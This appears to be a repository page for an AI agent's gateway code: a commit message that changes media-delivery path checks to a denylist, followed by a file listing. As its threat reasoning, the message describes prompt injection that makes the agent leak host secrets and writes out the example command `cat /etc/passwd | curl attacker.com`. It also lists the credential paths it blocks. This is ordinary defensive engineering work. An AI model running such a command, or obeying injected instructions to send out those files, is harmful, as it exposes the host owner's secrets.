hermes-agent/gateway
Teknium 7a8589e782
fix(gateway): default media-delivery validation to denylist-only, restore .md delivery (#34022)
PR #29523 restricted MEDIA: paths and bare local paths in agent output to
files under the Hermes media cache or an operator-allowlisted root, with
a 10-minute recency window as a fallback. The intent was to defend
against prompt-injection-driven exfiltration of host secrets, but in the
default single-user setup the asymmetry doesn't earn its keep: we accept
any document type the user uploads inbound (.md, .pdf, .txt, .docx, ...)
and the agent already has terminal access — anything that can convince
it to emit a MEDIA: tag for /etc/passwd can equally convince it to
`cat /etc/passwd | curl attacker.com`.

Practical breakage: agents that produced an .md, .pdf, or other
artifact more than ~10 minutes ago, or outside the cache allowlist,
showed the user a raw filepath in chat instead of the file.

Default flipped to denylist-only:
  • /etc, /proc, /sys, /dev, /root, /boot, /var/{log,lib,run}
  • $HOME/{.ssh,.aws,.gnupg,.kube,.docker,.config,.azure,.gcloud}
  • macOS Library/Keychains
  • $HERMES_HOME/{.env, auth.json, credentials}

The legacy allowlist+recency-window behavior stays available via
opt-in: `gateway.strict: true` in config.yaml (or
`HERMES_MEDIA_DELIVERY_STRICT=1`). Recommended for public-facing bots
where prompt injection from one user shouldn't be able to exfiltrate
the host's secrets to that same user.

• `gateway/platforms/base.py` — `validate_media_delivery_path()`
  short-circuits to "return resolved if not under denylist" when
  strict is off. Strict mode preserves the original cache-then-
  allowlist-then-recency logic. New `_media_delivery_strict_mode()`
  reader for `HERMES_MEDIA_DELIVERY_STRICT`.
• `hermes_cli/config.py` — `gateway.strict: false` added to
  DEFAULT_CONFIG; existing keys documented as "only consulted in
  strict mode." No `_config_version` bump needed (deep-merge picks
  up the new default for old installs).
• `gateway/run.py` — bridges `gateway.strict` →
  `HERMES_MEDIA_DELIVERY_STRICT` at startup.
• `tools/send_message_tool.py` — schema description broadened back
  to plain "any local path."
• Tests — existing strict-path tests pinned to STRICT=1 so they keep
  exercising the legacy behavior; new `TestMediaDeliveryDefaultMode`
  with 8 cases covering the public default (stale .md accepted, any
  extension delivers, credential paths still blocked, strict env-var
  aliases, filter E2E).

Validation:
  - tests/gateway/test_platform_base.py: 119/119 pass
  - tests/gateway/test_tts_media_routing.py: 7/7 pass
  - tests/tools/test_send_message_tool.py: 121/121 pass
  - tests/hermes_cli/test_kanban_notify.py: 12/12 pass
  - tests/cron/test_scheduler.py: 120/120 pass
  - E2E via execute_code with real imports:
    • stale .md outside allowlist → accepted (default)
    • same path with STRICT=1 → rejected
    • $HOME/.ssh/id_rsa → rejected (default)
    • filter_local_delivery_paths([md, key]) → [md] only
    • gateway.strict in config.yaml → bridged to env (true=1, false=0)
2026-05-28 11:32:36 -07:00
..
assets fix: improve telegram topic mode setup 2026-05-04 12:07:17 -07:00
builtin_hooks remove: BOOT.md built-in hook (#17093) 2026-04-28 09:50:27 -07:00
platforms fix(gateway): default media-delivery validation to denylist-only, restore .md delivery (#34022) 2026-05-28 11:32:36 -07:00
__init__.py docs(gateway): mention Weixin in gateway help and docstrings 2026-05-12 17:08:51 -07:00
channel_directory.py refactor(ntfy): convert built-in adapter to platform plugin 2026-05-23 16:13:01 -07:00
config.py refactor(gateway): migrate Mattermost adapter to bundled plugin 2026-05-24 18:05:33 -07:00
delivery.py refactor: simplify Telegram DM topic refresh 2026-05-25 14:54:02 -07:00
display_config.py fix(gateway): keep Telegram heartbeat + interim commentary on; edit heartbeat in place (#33187) 2026-05-27 05:21:53 -07:00
hooks.py fix(plugins): register dynamically-loaded modules in sys.modules before exec 2026-04-29 23:34:35 -07:00
memory_monitor.py Port from cline/cline#10343: periodic gateway memory logging (#27102) 2026-05-16 12:55:23 -07:00
mirror.py refactor(gateway): drop _append_to_jsonl from mirror 2026-05-20 13:00:57 -07:00
pairing.py fix(gateway): preserve WhatsApp pairing approvals across JID/LID alias flips 2026-05-23 01:46:34 -07:00
platform_registry.py refactor(plugins): add apply_yaml_config_fn registry hook 2026-05-13 22:20:30 -07:00
restart.py fix(gateway): address restart review feedback 2026-04-10 21:18:34 -07:00
run.py fix(gateway): default media-delivery validation to denylist-only, restore .md delivery (#34022) 2026-05-28 11:32:36 -07:00
runtime_footer.py feat(gateway): opt-in runtime-metadata footer on final replies (#17026) 2026-04-28 06:50:04 -07:00
session.py fix(gateway): separate observed Telegram group context 2026-05-23 01:33:42 -07:00
session_context.py fix(cli): synchronize HERMES_SESSION_ID across environment and contextvar during session switches 2026-05-23 17:46:55 -07:00
shutdown_forensics.py chore: ruff auto-fixes — collapsible-else-if, if-stmt-min-max, dict.fromkeys (#23926) 2026-05-11 11:03:29 -07:00
slash_access.py feat(gateway): per-platform admin/user split for slash commands (salvage of #4443) (#23373) 2026-05-10 12:33:54 -07:00
status.py fix: gateway PID detection fails on Windows (two issues) 2026-05-13 23:10:57 -07:00
sticker_cache.py fix: guard yaml.safe_load, flock unlock, TOCTOU races, and atomic writes 2026-05-19 00:12:41 -07:00
stream_consumer.py fix(stream-consumer): only set _final_content_delivered when final response confirmed delivered 2026-05-28 03:15:19 -07:00
whatsapp_identity.py fix(whatsapp_identity): pin identifier regex to ASCII, clarify it's defense-in-depth 2026-04-26 20:48:31 -07:00